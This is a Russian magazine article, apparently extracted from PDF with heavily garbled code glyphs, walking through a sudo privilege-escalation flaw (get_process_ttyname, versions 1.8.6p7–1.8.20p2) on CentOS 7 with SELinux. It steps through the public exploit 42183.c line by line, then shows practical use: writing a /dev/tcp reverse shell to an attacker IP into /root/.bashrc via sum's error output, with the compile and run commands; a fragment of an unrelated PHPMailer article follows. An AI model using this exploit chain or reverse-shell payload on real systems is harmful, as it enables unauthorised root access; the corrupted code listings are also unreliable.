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Ко ман да  sudo  в  UNIX  и  Linux  поз воля ет  обыч ному  поль‐ 
зовате лю  выпол нять  коман ды  от  име ни  дру гих  поль зовате‐ 
лей,  в  час тнос ти — от  root.  Ребята  из Qualys  наш ли  в  sudo
уяз вимость типа LPE, которая дает ата кующе му воз можность
повысить при виле гии в сис теме. Пос мотрим, как это работа‐ 
ет.

Уяз вимость  зат рагива ет  все  вер сии  sudo,  начиная  1.8.6p7  и  закан‐ 
чивая 1.8.20p2, а свя зана ошиб ка с невер ной логикой обра бот ки резуль татов

 в фун кции  . Исполь зуя спе циаль‐ 
но  сфор мирован ные  сим воличес кие  ссыл ки,  зло умыш ленник может  выз вать
коман ду  sudo  и  под менить  в  ее  кон тек сте  поль зователь ский  тер минал  сим‐ 
линком на нуж ный файл. Таким обра зом, он может перепи сать содер жимое
это го фай ла резуль татом работы выпол няемой через sudo коман ды.

ŵprocŵƃpidƄŵstat getɏprocessɏttynameſƀ

ПОДГОТОВКА
Нач нем  с  выбора  опе раци онной  сис темы.  Я  буду  исполь зовать 
в качес тве гос тевой ОС, поэто му все мои манипу ляции будут акту аль ны имен‐ 
но для этой вер сии сис темы.

CentOS  7

За пус кать ОС через Docker я не советую — SELinux в нем работа ет не так
же,  как  в  пол ноцен ном  дис три бути ве.  Луч ше  исполь зовать  VMware
или VirtualBox.

Что бы про тес тировать уяз вимость, нам понадо бят ся три усло вия:
1. Обыч ный  поль зователь  с  sudo‐при виле гиями  выпол нения  какой‐нибудь
прог раммы.

2. Ак тивиро ван ный SELinux (Security Enhanced Linux).
3. Сам бинар ник sudo дол жен быть соб ран с под дер жкой SELinux (под дер жка
sudo ‐r role).

Раз берем ся с каж дым пун ктом.
Для начала соз дадим юзе ра  . Я уже сде лал это на эта пе уста нов‐ 

ки сис темы, но если тебе по каким‐то при чинам такой вари ант не под ходит,
то это мож но про вер нуть сле дующей коман дой в кон соли:

attacker

useradd ‐d ŵhomeŵattacker ‐s ŵbinŵbash ‐p ɛſecho �erysecretpass Ŷ 
openssl passwd ‐ɨ ‐stdinƀ attacker

Те перь  делеги руем  ново испе чен ному  юзе ру  воз можность  выпол нять
какую‐нибудь  коман ду  от  супер поль зовате ля.  Не  буду  далеко  отхо дить
от репор та Qualys и для демонс тра ции уяз вимос ти исполь зую бинар ник  ,
который  занима ется  под сче том  кон троль ной  сум мы  ука зан ного  фай ла.
Для это го мож но вос поль зовать ся коман дой   или же прос то добавить
строч ку   в файл 

.

sum

�isudo
attacker ALLʰſALLƀ NOPASS�Dś ŵusrŵbinŵsum ŵetcŵsudo‐

ers

До бав ление поль зовате лю прав на выпол нение коман ды через sudo

В  CentOS  7  SELinux  вклю чен  и  прек расно  работа ет  из  короб ки,  поэто му
никаких допол нитель ных дей ствий вто рой и тре тий пун кты от нас не пот ребу‐ 
ют. Про верить текущий ста тус под систе мы мож но коман дой  .sestatus

SELinux работа ет в CentOS из короб ки

С  под готов кой  закон чили,  самое  вре мя  ска чивать    и  перехо дить
к раз бору деталей уяз вимос ти.

экс пло ит

ДЕТАЛИ УЯЗВИМОСТИ
В  самом  начале  я  упо мянул,  что  проб лема  находит ся  в  фун кции 

, которая объ явле на в фай ле  .
getɏpro‐

cessɏttyname ttyname.c
Да вай раз берем ся, что дела ет эта фун кция. При выпол нении коман ды она

получа ет информа цию о ста тусе про цес са   и чита ет номер
тер минала tty из поля под номером 7 —  .

ŵprocŵƃpidƄŵstat
ttyɏnr

По ле tty_nr (7) — номер тер минала, который исполь зует про цесс

Са му  струк туру  полей  stat  мож но  пос мотреть  в фай ле 
.

ŵusrŵsrcŵlinuxŵ�sŵ
procŵarrayŜc

array.c

ɫɰ3ś    seqɏprint�ſmř ɑʩd ſʩsƀ ʩcɑř pidɏnrɏnsſpidř nsƀř tcommř stateƀ
Ś ƃɨ 2 3Ƅ
ɫɰɫś    seqɏputɏdecimalɏllſmř ɑ ɑř ppidƀŚ ƃɫƄ
ɫɰɬś    seqɏputɏdecimalɏllſmř ɑ ɑř pgidƀŚ ƃɬƄ
ɫɰɭś    seqɏputɏdecimalɏllſmř ɑ ɑř sidƀŚ ƃɭƄ
ɫɰɮś    seqɏputɏdecimalɏllſmř ɑ ɑř ttyɏnrƀŚ ƃɮƄ
ɫɰ8ś    seqɏputɏdecimalɏllſmř ɑ ɑř ttyɏpgrpƀŚ

По ля,  как  видишь,  отде ляют ся  друг  от  дру га  про бела ми.  По  ним  фун кция
  и  раз бива ет  стро ку  (резуль тат  работы 

) для даль нейше го пар синга.
getɏprocessɏttyname ŵprocŵƃpidƄŵ
stat

/src/ttyname.c

ɫ8ɥś getɏprocessɏttynameſchar Ƌnameř si�eɏt namelenƀ
ɫ8ɨś Ƈ
ŜŜŜ
ɫɰɥś     ŵƋ Try to determine the tty �rom ttyɏnr in ŵprocŵpidŵstatŜ 
Ƌŵ
ɫɰɨś     snprint�ſpathř si�eo�ſpathƀř ɑŵprocŵʩuŵstatɑř ſunsigned intƀ
getpidſƀƀŚ
ɫɰ2ś     i� ſſ�p ʰ �openſpathř ɑrɑƀƀ Šʰ NULLƀ Ƈ
ɫɰ3ś    len ʰ getlineſĺlineř ĺlinesi�eř �pƀŚ
ɫɰɫś    �closeſ�pƀŚ
ɫɰɬś    i� ſlen Šʰ ‐ɨƀ Ƈ
ɫɰɭś        ŵƋ Field ɮ is the tty de� ſɥ i� no ttyƀ Ƌŵ
ŜŜŜ
ɬɥɨś        while ſƋʫʫep Šʰ ɐɎɥɐƀ Ƈ
ɬɥ2ś        i� ſƋep ʰʰ ɐ ɐƀ Ƈ
ɬɥ3ś            Ƌep ʰ ɐɎɥɐŚ
ɬɥɫś            i� ſʫʫ�ield ʰʰ ɮƀ Ƈ
ɬɥɬś            de�ɏt tde� ʰ strtonumſcpř INTɏ�INř INTɏ�A�ř ĺerrstrƀŚ

Те перь пос мотрим на поле под номером 2  ( ). Это не что иное,  как имя
исполня емо го  фай ла,  взя тое  в  круг лые  скоб ки.  А  ведь  оно  впол не  может
содер жать  про белы.  Нап ример,  возь мем  стан дар тный  бинар ник  ,  ско‐ 
пиру ем  и  сох раним  его  под  новым  име нем  —  .  Теперь
выпол ним  коман ду    и  пос мотрим
на резуль тат.

comm

cat
cat  with  spaces

catɎ  withɎ  spaces  ŵprocŵsel�ŵstat

Пар синг по про белам вызыва ет проб лему вер ного опре деле ния tty_nr

Как  видишь,  если  теперь,  сле дуя  коду фун кции  ,  раз‐ 
бивать  стро ку  по  про белам,  то  эле мен том  под  номером  7  будет  сов сем
не  , как ожи дает ся. Выходит, что, исполь зуя опре делен ное количес тво
про белов в име ни, мы можем нарушить заложен ную раз работ чиками логику
работы фун кции  .

getɏprocessɏttyname

ttyɏnr

getɏprocessɏttyname
Как мож но управлять име нем коман ды? Конеч но, при помощи сим линков!

Если мы вызовем sudo через сим линк с име нем  , то 
 вызовет фун кцию   для поис ка несущес тву юще го  tty‐

устрой ства с номером 1 в мас сиве  .

Ŝŵ ɨ getɏprocessɏtty‐
name sudoɏttynameɏde�

searchɏde�s
/src/ttyname.c

ɬɥɬś            de�ɏt tde� ʰ strtonumſcpř INTɏ�INř INTɏ�A�ř ĺerrstrƀŚ
ŜŜŜ
ɬɨɥś            i� ſtde� ʴ ɥƀ Ƈ
ɬɨɨś                errno ʰ serrnoŚ
ɬɨ2ś                ret ʰ sudoɏttynameɏde�ſtde�ř nameř namelenƀŚ
ŜŜŜ
3ɨ8ś sudoɏttynameɏde�ſde�ɏt rde�ř char Ƌnameř si�eɏt namelenƀ
3ɨɰś Ƈ
ŜŜŜ
32ɭś     ŵƋ
32ɮś      Ƌ First check searchɏde�s �or common tty de�icesŜ
328ś      Ƌŵ
32ɰś     �or ſsd ʰ searchɏde�sŚ ſde�name ʰ Ƌsdƀ Šʰ NULLŚ sdʫʫƀ Ƈ
33ɥś    len ʰ strlenſde�nameƀŚ
33ɨś    i� ſde�nameƃlen ‐ ɨƄ ʰʰ ɐŵɐƀ Ƈ
ŜŜŜ
ɨɫɮś ŵƋ
ɨɫ8ś  Ƌ De�ices to search be�ore doing a breadth‐�irst scanŜ
ɨɫɰś  Ƌŵ
ɨɬɥś static char Ƌsearchɏde�sƃƄ ʰ Ƈ
ɨɬɨś     ɑŵde�ŵconsoleɑř
ɨɬ2ś     ɑŵde�ŵwsconsɑř
ɨɬ3ś     ɑŵde�ŵptsŵɑř
ɨɬɫś     ɑŵde�ŵ�tŵɑř
ɨɬɬś     ɑŵde�ŵtermŵɑř
ɨɬɭś     ɑŵde�ŵ�consŵɑř
ɨɬɮś     NULL
ɨɬ8ś ƈŚ

Да лее выпол нение перехо дит к фун кции  , которая, в свою
оче редь,  вызыва ет  .  Эта  фун кция  про дол жает  поиск
несущес тву юще го  tty  в  катало ге  .  Он  выпол няет ся  при  помощи  так
называ емо го   (breadth‐first search, BFS).

sudoɏttynameɏde�
sudoɏttynameɏscan

ŵde�ŵ
по иска в ширину

/src/ttyname.c

3ɭɰś     ŵƋ
3ɮɥś      Ƌ Not �oundţ  Do a breadth‐�irst tra�ersal o� ŵde�ŵŜ
3ɮɨś      Ƌŵ
3ɮ2ś     ret ʰ sudoɏttynameɏscanſɏPATHɏD��ř rde�ř �alseř nameř 
namelenƀŚ

В этот момент мы можем про экс плу ати ровать уяз вимость. Ког да поиск про‐ 
ходит  в  устрой стве    (общей  памяти,  SHared  Memory),  ата кующий
может  под сунуть  прог рамме  в  виде  tty  любое  тек сто вое  устрой ство  в  фай‐ 
ловой сис теме. Затем, вой дя в сос тояние гон ки и успешно ее выиг рав, мож но
пред ста вить любой файл в качес тве сво его тер минала.

ŵde�ŵshm

Даль ше в игру всту пают осо бен ности работы sudo в рам ках SELinux. Бла‐ 
года ря  фун кции    ата кующий  может  изме нить  содер жимое
любого фай ла, вклю чая фай лы, при над лежащие супер поль зовате лю. Фун кция
откры вает для чте ния и записи текущее tty‐устрой ство, в которое при помощи

 нап равля ется содер жимое stdin, stdout и stderr. Исполь зуя манипу ляции
с  сим линка ми,  мож но  нап равить  в  про изволь ный  файл  резуль тат  работы
коман ды, которая раз решена на исполне ние через sudo.

relabelɏtty

dup2

/src/selinux.c

ɨɫ8ś relabelɏttyſconst char Ƌttynř int pty�dƀ
ɨɫɰś Ƈ
ŜŜŜ
ɨɭ3ś    seɏstateŜtty�d ʰ openſttynř OɏRD�RŶOɏNOCTT�ŶOɏNONBLOC�ƀŚ
ŜŜŜ
2ɥɰś    ŵƋ Re‐open tty to get new label and reset stdƇinřoutřerrƈ Ƌŵ
2ɨɥś    closeſseɏstateŜtty�dƀŚ
2ɨɨś    seɏstateŜtty�d ʰ openſttynř OɏRD�RŶOɏNOCTT�ŶOɏNONBLOC�ƀŚ
ŜŜŜ
2ɨ8ś    �or ſ�d ʰ STDINɏFIL�NOŚ �d ʳʰ STD�RRɏFIL�NOŚ �dʫʫƀ Ƈ
2ɨɰś        i� ſisattyſ�dƀ ĺĺ dup2ſseɏstateŜtty�dř �dƀ ʰʰ ‐ɨƀ Ƈ

http://mirror.nforce.com/pub/linux/CentOS/7/isos/x86_64/CentOS-7-x86_64-Minimal-1611.torrent
https://www.opennet.ru/man.shtml?topic=sum&category=1&russian=0
https://www.exploit-db.com/download/42183
https://www.sudo.ws/repos/sudo/file/SUDO_1_8_20/src/ttyname.c
https://github.com/torvalds/linux/blob/master/fs/proc/array.c#L497
https://www.sudo.ws/repos/sudo/file/SUDO_1_8_20/src/ttyname.c
https://www.sudo.ws/repos/sudo/file/SUDO_1_8_20/src/ttyname.c
https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%B8%D1%81%D0%BA_%D0%B2_%D1%88%D0%B8%D1%80%D0%B8%D0%BD%D1%83
https://www.sudo.ws/repos/sudo/file/SUDO_1_8_20/src/ttyname.c
https://www.sudo.ws/repos/sudo/file/SUDO_1_8_20/src/selinux.c


ПОВЫШАЕМ ПРИВИЛЕГИИ ДО
СУПЕРПОЛЬЗОВАТЕЛЯ ЧЕРЕЗ

УЯЗВИМОСТЬ В SUDO

őŖŚŝś  НАЧАЛО СТАТЬИΝ

ПРИНЦИП РАБОТЫ ЭКСПЛОИТА
Прой дем ся  по  коду  экс пло ита  и  пос мотрим  на  алго ритм  экс плу ата ции  уяз‐ 
вимос ти в дей ствии.

В самом начале фай ла, как водит ся, нес коль ко кон стант.
TARGET_FILE — файл, в который будет про изво дить ся запись;•
WORKING_DIR — рабочая дирек тория,  в  которой будут соз давать ся нуж‐ 
ные фай лы;

•

SELINUX_ROLE — роль поль зовате ля в кон тек сте SELinux.•
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ɫɨś ɤde�ine SUDOɏBINAR� ɑŵusrŵbinŵsudoɑ
ɫ2ś ɤde�ine TARG�TɏFIL� ɑŵetcŵinitŜdŵR�AD��ɑ
ɫ3ś ɤde�ine S�LINU�ɏROL� ɑuncon�inedɏrɑ
ɫɫś
ɫɬś ɤde�ine �OR�INGɏDIR ɑŵde�ŵshmŵɏtmpɑ
ɫɭś ɤde�ine TT�ɏS��LIN� �OR�INGɏDIR ɑŵɏttyɑ
ɫɮś ɤde�ine TT�ɏS��LIN�ɏ TT�ɏS��LIN� ɑɏɑ

При запус ке экс пло ит ждет на вхо де нес коль ко аргу мен тов коман дной стро ки.
В качес тве пер вого ука зыва ется бинар ник, запуск которо го раз решен через
sudo. Вто рой аргу мент — парамет ры вызова это го бинар ника.

Ŝŵɫ2ɨ83Ŝc ŵusrŵbinŵsum AN�THINGɏ�OUɏTOɏ�RIT�ɏINɏFIL�

Пер вым шагом на пути к экс плу ата ции будет соз дание дирек тории 
.  Интерфейс    раз решен  на  чте ние  и  запись  любому  поль‐ 

зовате лю, что не может не радовать. В пап ке соз дает ся сим линк 
,  который ука зыва ет на несущес тву ющий вир туаль ный псев дотер‐ 

минал  .

ŵde�ŵshmŵ
ɏtmp ŵde�ŵshm

ŵde�ŵshmŵ
ɏtmpŵɏtty

ŵde�ŵptsŵɬɮ
42183.c

8ɥś     i� ſmkdirſ�OR�INGɏDIRř ɥɮɥɥƀƀ dieſƀŚ
8ɨś     i� ſsymlinkſptsř TT�ɏS��LIN�ƀƀ dieſƀŚ
82ś     i� ſsymlinkſTARG�TɏFIL�ř TT�ɏS��LIN�ɏƀƀ dieſƀŚ

За тем  генери рует ся  имя  и  соз дает ся  сим линк 
для sudo.

ŵde�ŵshmŵɏtmpŵ  3ɫ8ɮ3

От ладка экс пло ита в момент генера ции име ни сим линка для sudo

Этот  трюк,  как  ты  пом нишь,  нужен  для  того,  что бы  нарушить  логику  работы
фун кции   в мес те пар синга резуль татов stat по сим волу
про бела. Почему здесь исполь зует ся чис ло 34 873? Для разъ ясне ния нуж но
обра тить ся к   proc.

getɏprocessɏttyname

до кумен тации

ſɮƀ ttyɏnr  ʩd
    The controlling terminal o� the processŜ  ſThe minor
    de�ice number is contained in the combination o�
    bits 3ɨ to 2ɥ and ɮ to ɥŚ the ma�or de�ice number is
    in bits ɨɬ to 8Ŝƀ

Пред ста вим  чис ло  34  873  в  дво ичной  сис теме,  получит ся 
.  В  битах  с  15  по  8  хра нит ся  .  Для  обыч ной  кон соли  tty

это чис ло рав но  , или 4 в десяте рич ной сис теме. Но мы про водим
манипу ляции  с  псев дотер минала ми.  Дос туп  к  ним  мож но  получить  через 

, и им соот ветс тву ет тип 136, или  .

ɨɥɥɥ  ɨɥɥɥ  ɥɥɨɨ
ɨɥɥɨ тип  тер минала

ɥɥɥɥ ɥɨɥɥ
ŵ

de�ŵptsŵ ɨɥɥɥ ɨɥɥɥ
Да лее  рас смот рим  minor  device  number.  За  него  отве чают  биты

с 31 по 20 и с 7 по 0. У нас все го 16 бит в общей слож ности, поэто му исполь‐ 
зуем  толь ко с 7 по 0, осталь ные счи таем рав ными нулю. Эти биты отве чают
за  номер  текуще го  тер минала,  в  котором  выпол няет ся  бинар ник.  В  нашем
слу чае  они  рав ны  ,  что  явля ется  экви вален том  57  в  десятич ном
пред став лении.  Это  имен но  тот  номер  тер минала,  для  которо го  мы  соз‐ 
давали сим линк.

ɥɥɨɨ  ɨɥɥɨ

Раз личные типы (major device number) тер миналов

42183.c

ɮɥś     struct stat sbu�Ś
ɮɨś     i� ſ�statſƋptsɏ�dsř ĺsbu�ƀƀ dieſƀŚ
ŜŜŜ
ɮɫś     i� ſſunsigned intƀsnprint�ſcommř si�eo�ſcommƀř ɑʩsŵ     ʩlu ɑ
ř �OR�INGɏDIRř ſunsigned longƀsbu�Ŝstɏrde�ƀ
ɮɬś                                   ʴʰ si�eo�ſcommƀƀ dieſƀŚ
83ś     i� ſsymlinkſSUDOɏBINAR�ř commƀƀ dieſƀŚ

Да лее собира ем парамет ры для запус ка sudo через сим воличес кую ссыл ку.
Исполь зуем флаг  , где   — роль нашего поль зовате ля в кон тек сте
SELinux. По умол чанию в экс пло ите исполь зует ся  .

‐r role role
uncon�inedɏr
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ɨɥ2ś         char ƋƋ const arg� ʰ callocſargc ʫ ɨř si�eo�ſchar ƋƀƀŚ
ɨɥ3ś         i� ſŠarg�ƀ dieſƀŚ
ɨɥɫś         arg�ƃɥƄ ʰ commŚ
ɨɥɬś         arg�ƃɨƄ ʰ ɑ‐rɑŚ
ɨɥɭś         arg�ƃ2Ƅ ʰ S�LINU�ɏROL�Ś
ɨɥɮś         memcpyſĺarg�ƃ3Ƅř ĺmyɏarg�ƃɨƄř myɏargc Ƌ si�eo�ſchar ƋƀƀŚ
ɨɥ8ś         i� ſarg�ƃargcƄƀ dieſƀŚ

Про верить роль поль зовате ля мож но  коман дой  . Если она отли чает ся
от дефол тной, то меняй в сор цах кон стан ту   (стро ка 43).

id ‐�
S�LINU�ɏROL�

Те перь запус каем sudo. Для это го исполь зуем соз данный ранее сим линк
с про бела ми в наз вании.
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ɨɨ3ś         exec�eſƋarg�ř arg�ř NULLƀŚ

Нас тало  вре мя  гонок.  Что бы  переза писать файл,  нам  нуж но  успешно  выиг‐ 
рать два заез да. Для облегче ния это го про цес са в экс пло ите исполь зовано
три любопыт ных трю ка.

Трюк пер вый: фун кция   зас тавля ет sudo отра баты вать
на том же логичес ком про цес соре, что и наш экс пло ит.

schedɏseta��inity
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ɰ3ś     cpuɏsetɏt cpuɏsetŚ
ɰɫś     CPUɏ��ROſĺcpuɏsetƀŚ
ɰɬś     CPUɏS�Tſcpuř ĺcpuɏsetƀŚ
ɰɭś     i� ſschedɏseta��inityſɥř si�eo�ſcpuɏsetƀř ĺcpuɏsetƀ Šʰ ɥƀ die
ſƀŚ

Вто рой трюк: при помощи фун кции   понижа ется 
про цес са sudo до минималь ного (+19).

setpriority при ори тет nice
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ɨɨɥś         i� ſsetpriorityſPRIOɏPROC�SSř ɥř ʫɨɰƀ Šʰ ɥƀ dieſƀŚ

Третья хит рость — это фун кция  , которая уста нав лива ет
алго ритм и парамет ры пла ниро вания про цес са. В слу чае рас смат рива емо го
экс пло ита выб рана полити ка  ,  которая  исполь зует ся  при  работе
с очень низ копри ори тет ными фоновы ми задача ми.

schedɏsetscheduler

SCH�DɏIDL�
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ɨɨɨś         static const struct schedɏparam schedɏparam ʰ Ƈ Ŝschedɏ
priority ʰ ɥ ƈŚ
ɨɨ2ś         ſ�oidƀ schedɏsetschedulerſɥř SCH�DɏIDL�ř ĺschedɏparamƀŚ

Шан сы  выиг рать  гон ку  замет но  под росли,  и  теперь  нам  нуж но  пой мать
момент, ког да sudo выпол нит фун кцию   для рабочей дирек тории — 

.  Для  это го  исполь зует ся  .  Его  цель  —  наб людать
за объ екта ми в ожи дании опре делен ных событий, а при воз никно вении этих
событий выпол нять ука зан ные дей ствия.

opendir ŵ
de�ŵshmŵɏtmp inotify  API

Ве шаем вот чер ивен та   на пап ку и ждем, пока прог рамма дой дет
до  ее  откры тия.  Это  про исхо дит  при  поис ке  несущес тву юще го  псев дотер‐ 
минала  из  сим линка.  Как  толь ко  событие  сра баты вает,  оста нав лива ем  про‐ 
цесс sudo, отпра вив ему сиг нал  .

INɏOP�N

SIGSTOP
42183.c

ɥ8ɬś     const int inoti�yɏ�d ʰ inoti�yɏinitɨſINɏCLO���CƀŚ
ŜŜŜ
ɥ8ɮś     const int workingɏwd ʰ inoti�yɏaddɏwatchſinoti�yɏ�dř �OR�IN
GɏDIRř INɏOP�N Ŷ INɏCLOS�ɏNO�RIT�ƀŚ
ŜŜŜ
ɨɨɮś     struct inoti�yɏe�ent e�entŚ
ɨɨ8ś     i� ſreadſinoti�yɏ�dř ĺe�entř si�eo�ſe�entƀƀ Šʰ ſssi�eɏtƀ
si�eo�ſe�entƀƀ dieſƀŚ
ɨɨɰś     i� ſkillſpidř SIGSTOPƀƀ dieſƀŚ

Те перь начина ем генери ровать псев дотер миналы (pty) при помощи  ,
пока  не  соз дадим  pty  с  типом  136  и  номером  57  (тот  самый
номер  34873  из  сим линка  с  про бела ми).  Пос ле  это го  про дол жаем  выпол‐ 
нение про цес са sudo.

openpty

42183.c

ɨ23ś     �or ſi ʰ ɥŚ Ś iʫʫƀ Ƈ
ɨ2ɫś         i� ſi ʴʰ si�eo�ſptsɏ�dsƀ ŵ si�eo�ſƋptsɏ�dsƀƀ dieſƀŚ
ɨ2ɬś         int ptmɏ�dŚ
ɨ2ɭś         char tmpƃPATHɏ�A�ƄŚ
ɨ2ɮś         i� ſopenptyſĺptmɏ�dř ĺptsɏ�dsƃiƄř tmpř NULLř NULLƀƀ die
ſƀŚ
ɨ28ś         i� ſŠstrcmpſtmpř ptsƀƀ breakŚ
ɨ2ɰś         i� ſcloseſptmɏ�dƀƀ dieſƀŚ
ɨ3ɥś     ƈ
ŜŜŜ
ɨ3ɫś     i� ſkillſpidř SIGCONTƀƀ dieſƀŚ

Идем даль ше по коду. Вновь монито ринг дирек тории  , толь ко
теперь ожи даем события  . Сто паем про цесс пос ле того, как sudo
выпол нит фун кцию  .

ŵde�ŵshmŵɏtmp
INɏCLO���C

closedir
42183.c

ɨ3ɭś     i� ſkillſpidř SIGSTOPƀƀ dieſƀŚ
ɨ3ɮś     i� ſe�entŜwd Šʰ workingɏwdƀ dieſƀŚ
ɨ38ś     i� ſe�entŜmask Šʰ ſINɏCLOS�ɏNO�RIT� Ŷ INɏISDIRƀƀ dieſƀŚ
ŜŜŜ

На этот раз мы заменя ем   (сим линк, который ука зыва ет
на теперь уже сущес тву ющий pty) сим линком на файл, в который нуж но про‐ 
извести запись ( ). И вновь про дол жаем выпол нение про цес са.

ŵde�ŵshmŵɏtmpŵɏtty

TARG�TɏFIL�
42183.c

ɨɫɥś     i� ſrenameſTT�ɏS��LIN�ɏř TT�ɏS��LIN�ƀƀ dieſƀŚ
ɨɫɨś     i� ſkillſpidř SIGCONTƀƀ dieſƀŚ

Экс пло ит завер шил свою работу, а в файл   записа лись
резуль таты работы прог раммы sum.

ŵetcŵinitŜdŵR�AD��

Ус пешная работа экс пло ита. Файл переза писан

Прак тичес кая экс плу ата ция и повыше ние при виле гий
Сна чала нуж но решить, что и в какой файл мы будем записы вать. Пер вое, что
приш ло мне на ум, — это добавить поль зовате лю root в файл .bashrc запуск
прос тень кого бэк коннект‐шел ла.

nohup bash ‐i ʴŵde�ŵtcpŵɨɰ2Ŝɨɭ8ŜɨŜɨɥɨŵ3ɨ33ɮ ɥʳĺɨ 2ʴĺɨ

где 192.168.1.101 и 31337 —  IP и порт моего сер вера. Решение не пре тен‐ 
дует на какую‐то скрыт ность и уни вер саль ность, но в тес товых целях впол не
подой дет. Редак тиру ем исходник спло ита, меня ем стро ку 42 на

ɫ2ś ɤde�ine TARG�TɏFIL� ɑŵrootŵŜbashrcɑ

Пос ле  успешной  экс плу ата ции  оста нет ся  дож дать ся  момен та,  ког да  поль‐ 
зователь root вой дет в сис тему, и наш код будет исполнен.

Вре мя ком пилиро вать экс пло иты.

gcc ‐o ɫ2ɨ83 ɫ2ɨ83Ŝc ‐lutil ‐dgdb

Я исполь зовал опцию   для добав ления отла доч ной информа ции в откомпи‐ 
лиро ван ный бинар ник — на тот слу чай, если понадо бит ся пос мотреть на раз‐ 
личные эта пы экс плу ата ции с помощью дебаг гера.

‐d

Фор мат запус ка экс пло ита сле дующий:

Ŝŵɫ2ɨ83 ʳȞȢȠȔȡȘȔř ȤȔțȤșȬșȡȡȔȳ Șȟȳ țȔȣȧȥȞȔ ȫșȤșț sudoʴ ʳȣȔȤȔȠșȦȤȯ 
țȔȣȧȥȞȔ ȱȦȢȝ ȞȢȠȔȡȘȯʴ

Пос мотреть  спи сок  команд,  которые  поль зователь  может  выпол нять  через
sudo, мож но с помощью коман ды  . У нас это  .sudo ‐l ŵusrŵbinŵsum

Спи сок дос тупных команд для выпол нения через sudo

Что бы  записы вать  опре делен ные  дан ные  в  файл,  нуж но  уметь  кон тро лиро‐ 
вать  резуль тат  вывода  прог раммы,  раз решен ной  для  запус ка  через  sudo.
Это  мож но  делать  нес коль кими  спо соба ми.  Самый  оче вид ный —  это  исхо‐ 
дить  из  воз можнос тей  самого  бинар ника.  Нап ример,  sum  при нима ет  имя
фай ла  в  качес тве  аргу мен та,  а  если  такого  фай ла  не  сущес тву ет,  то  будет
выведе на ошиб ка.

ƃattackerɒ�isualhack ɌƄɛ sum blahŜblah
sumś blahŜblahś no such �ile or directory

Вто рой спо соб — более уни вер саль ный и под ходит поч ти для любой ути литы.
Это трюк с невалид ными парамет рами и перено сом строк.

Возь мем коман ду  . Резуль татом ее работы будетsum ‐‐blah

sumś unrecogni�ed option ɐ‐‐blahɐ
Try ļsum ‐‐helpļ �or more in�ormation

Наз вание парамет ра отоб ража ется в тек сте ошиб ки. Так ведет себя боль шая
часть  прог рамм,  которые  исполь зуют  аргу мен ты.  Понят но,  что  если  прос то
ука зать  наш  шелл  пос ле    и  записать  резуль тат  в  таком  виде  в  файл,  то
коман да не выпол нится.

‐‐

sumś unrecogni�ed option ɐnohup bash ‐i ʴŵde�ŵtcpŵɨɰ2Ŝɨɭ8ŜɨŜɨɥɨŵ
3ɨ33ɮ ɥʳĺɨ 2ʴĺɨɐ

Нам  нуж но  записать шелл  с  новой  стро ки.  Для  это го  вос поль зуем ся фичей
баша  . В  стро ке,  ука зан ной  в  оди нар ных  кавыч ках,  ищут ся  и  пар‐ 
сятся спе циаль ные пос ледова тель нос ти (обратный слеш плюс сим вол). Спи‐ 
сок  под держи ваемых  эскейп‐пос ледова тель нос тей  можешь  пос мотреть

.

ɛɐȥȦȤȢȞȔɐ

здесь
Нап ример, коман да   вер нет ошиб ку видаsum ɛɐ‐‐ɎnH�LLOɎn�ORLDɎnɐ

sumś unrecogni�ed option ɐ‐‐
H�LLO
�ORLD
ɐ
Try ɐsum ‐‐helpɐ to more in�ormationŜ

Так  уже  мож но  записы вать  наш  шелл  в  ,  и  он  выпол нится.  Толь ко
обра ти вни мание на оста ющиеся оди нар ные кавыч ки: если их не зак рыть, то
bash будет счи тать всю коман ду обыч ной стро кой. Поэто му дела ем так:

Ŝbashrc

ƃattackerɒ�isualhack ɌƄɛ sum ɛɐ‐‐ɎɐɎnnohup bash ‐i ʴŵde�ŵtcpŵɨɰ2Ŝɨɭ8Ŝ
ɨŜɨɥɨŵ3ɨ33ɮ ɥʳĺɨ 2ʴĺɨɎnɎɐɐ

И получа ем на выходе:

sumś unrecogni�ed option ɐ‐‐ɐ
nohup bash ‐i ʴŵde�ŵtcpŵɨɰ2Ŝɨɭ8ŜɨŜɨɥɨŵ3ɨ33ɮ ɥʳĺɨ 2ʴĺɨ
ɐɐ
Try ɐsum ‐‐helpɐ to more in�ormationŜ

Вы вод передан ных парамет ров с новой стро ки

Приш ло вре мя соб рать все воеди но и запус тить экс пло ит.

Ŝŵɫ2ɨ83 sum ɛɐ‐‐ɎɐɎnnohup bash ‐i ʴŵde�ŵtcpŵɨɰ2Ŝɨɭ8ŜɨŜɨɥɨŵ3ɨ33ɮ ɥʳĺɨ 
2ʴĺɨɎnɐ

В резуль тате получа ем изме нен ный файл  , в который записал ся наш
пей лоад.

Ŝbashrc

Ре зуль тат работы экс пло ита — получе ние рутовых при виле гий

Даль ше дело толь ко за тво ей фан тази ей: что и в какой файл писать. Я уве рен,
ты най дешь изящ ный спо соб повыше ния при виле гий — без ожи дания момен‐ 
та, ког да в сис тему вой дет root.

Де монс тра ция работы экс пло ита

https://vimeo.com/224623724

http://man7.org/linux/man-pages/man5/proc.5.html
https://unix.stackexchange.com/a/127260
https://ru.wikipedia.org/wiki/Nice
https://ru.wikipedia.org/wiki/Inotify
https://www.gnu.org/software/bash/manual/html_node/ANSI_002dC-Quoting.html
https://vimeo.com/224623724
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При вет!  Доб ро  пожало вать  в  новую  пос тоян ную  руб рику
«Экс пло иты Давида Голун ско го».  :) Это шут ка лишь отчасти:
в  прош лом  году  Давид  обна ружил  инте рес ную  уяз вимость
и до сих пор про дол жает радовать нас раз ными спо соба ми
ее экс плу ата ции. Быть может, кому‐то дыра в PHPMailer уже
набила  оско мину,  но  если  ты  хочешь  шаг  за  шагом  прос‐ 
ледить  ее  экс плу ата цию  и  попол нить  свой  арсе нал  новыми
трю ками, то оста вай ся с нами!

Ɨǆǔ� ƽǂǉǃǅǁƵ�ǋƽǔ� ǂǃǆƽǇ� ǇǃǀǑ�ƿǃ� ǃƼǂƵ�ƿǃǁƽ�ǇƺǀǑ�ǂǐƾ
ǊƵǅƵƿ�Ǉƺǅ��Ƣƽ�ƵƷǇǃǅ��ǂƽ�ǅƺƹƵƿ�ǋƽǔ�ǂƺ�ǂƺǆǈǇ�ǃǇƷƺǇǆ��
ǇƷƺǂ�ǂǃǆǇƽ�ƼƵ�ƺƺ�ǂƺǂƵƹ�ǀƺƻƵǎƺƺ�ƽǆǄǃǀǑ�ƼǃƷƵǂƽƺ�

Уяз вима на этот раз лишь одна вер сия WordPress — 4.6. Мно гие вла дель цы
